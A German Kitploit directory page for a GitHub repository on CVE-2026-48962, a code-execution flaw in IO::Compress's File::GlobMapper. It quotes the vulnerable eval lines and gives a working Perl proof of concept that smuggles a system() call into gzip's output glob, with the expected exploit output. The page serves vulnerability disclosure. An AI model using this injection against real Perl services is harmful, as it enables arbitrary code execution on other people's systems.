Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-48962 — CVE-2026-48962 - IO::Compress - Code Execution | Kitploit
Tools/GitHubGitHub/joakimbulow/cve-2026-48962
SchwachstellenanalyseCode-AnalyseExploitationPapers & ForschungLernen & Bildung
GitHubjoakimbulow/cve-2026-48962

CVE-2026-48962

CVE-2026-48962 - IO::Compress - Code Execution

Repository anzeigen
22vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Zusammenfassung

Eine Eval-Injection-Schwachstelle in File::GlobMapper::_getFiles() ermöglicht jedem Angreifer, der das als fileglob-Ausgabeargument an IO::Compress::Gzip::gzip(), IO::Compress::Zip::zip() oder eine beliebige verwandte Funktion übergebene Argument kontrollieren kann, beliebigen Perl-Code im Kontext des laufenden Prozesses auszuführen. Es ist keine Authentifizierung erforderlich. Die Auswirkung ist vollständig: Vertraulichkeit, Integrität und Verfügbarkeit des Host-Prozesses sind vollständig kompromittiert.


Details

File::GlobMapper::_parseOutputGlob() erstellt eine Vorlage für den Ausgabedateinamen, indem es das vom Aufrufer übergebene Ausgabemuster in doppelte Perl-Anführungszeichen setzt und das Ergebnis speichert. _getFiles() übergibt diese Zeichenkette dann ohne jegliche Bereinigung direkt an eval:

lib/File/GlobMapper.pm:316–321

$string =~ s/${noPreBS}#(\d)/\${$1}/g;
$string =~ s#${noPreBS}\*#\${inFile}#g;
$string = '"' . $string . '"';      # wrapped in double-quotes
$self->{OutputPattern} = $string;   # stored verbatim — no escaping

lib/File/GlobMapper.pm:342

eval "\$outFile = $self->{OutputPattern};" ;   # executed — injection point

File::GlobMapper wird automatisch aufgerufen, wenn sowohl das Eingabe- als auch das Ausgabeargument einer IO::Compress::*-/IO::Uncompress::*-Funktion fileglob-Zeichenketten sind (begrenzt durch < >). Dies ist eine dokumentierte, gängige Aufrufkonvention. Betroffen sind die Funktionen gzip, zip, bzip2, deflate, rawdeflate sowie alle Pendants von IO::Uncompress::*.

Jedes Zeichen, das die umgebende doppelt angeführte Perl-Zeichenkette schließt — ein literales ", ein Backtick, ${...} oder @{...} — gefolgt von beliebigem Perl-Code, wird unverändert ausgeführt.


PoC

Speichern Sie es als poc.pl und führen Sie es mit perl poc.pl aus:

#!/usr/bin/perl
use strict;
use warnings;
use File::Temp qw(tempdir);
use IO::Compress::Gzip qw(gzip);

my $dir      = tempdir(CLEANUP => 1);
my $sentinel = "/tmp/CVE_GlobMapper_RCE_$$";

# Create a legitimate input file that the input glob will match
open my $fh, '>', "$dir/test.txt" or die $!;
print $fh "data\n";
close $fh;

my $malicious = qq(<$dir/out.gz"; system("touch $sentinel"); #>);

print "Sentinel before: ", (-e $sentinel ? "EXISTS" : "absent"), "\n";

eval { gzip "<$dir/*.txt>" => $malicious };

if (-e $sentinel) {
    print "EXPLOITED — arbitrary command executed via eval injection\n";
    print "Sentinel: $sentinel\n";
    unlink $sentinel;
} else {
    print "Did not fire (check error: $@)\n";
}

Erwartete Ausgabe:

Sentinel before: absent
EXPLOITED — arbitrary command executed via eval injection
Sentinel: /tmp/CVE_GlobMapper_RCE_<pid>

Bestätigt unter IO-Compress 2.219 / Perl 5.40.1 / Ubuntu 26.04.


Auswirkungen

Dies ist eine Remote-Code-Execution-Schwachstelle. Jede Webanwendung, jeder API-Dienst, jedes CLI-Tool oder jede Stapelverarbeitungspipeline, das/die Benutzereingaben akzeptiert und als fileglob-Ausgabeargument an eine beliebige IO::Compress::*-Funktion übergibt, ist verwundbar. Der injizierte Code läuft mit den vollen Rechten des aufrufenden Prozesses.

Wer ist betroffen: Entwickler und Betreiber von Perl-Anwendungen, die IO::Compress::*-Funktionen mit der fileglob-Aufrufkonvention verwenden und bei denen das Ausgabemuster aus nicht vertrauenswürdigen Eingaben abgeleitet wird – etwa Dateinamensvorlagen aus Webformularen, REST-API-Parametern, CLI-Argumenten oder Konfigurationsdateien, die von nicht privilegierten Benutzern kontrolliert werden.

In setuid-Kontexten oder bei privilegierten Daemons führt die Ausnutzung zu Codeausführung mit erhöhten Rechten. Der Fehler besteht seit der Erstveröffentlichung von File::GlobMapper (≈ 2005) und ist in jeder Linux-Distribution vorhanden, die das Paket perl ausliefert.

Referenzen

  • https://nvd.nist.gov/vuln/detail/CVE-2026-48962
  • https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch
  • https://github.com/pmqs/IO-Compress/issues/73
  • https://metacpan.org/release/PMQS/IO-Compress-2.220/changes
  • http://www.openwall.com/lists/oss-security/2026/05/27/4
  • https://github.com/advisories/GHSA-q6wx-vhvq-x7h6
Tool herunterladen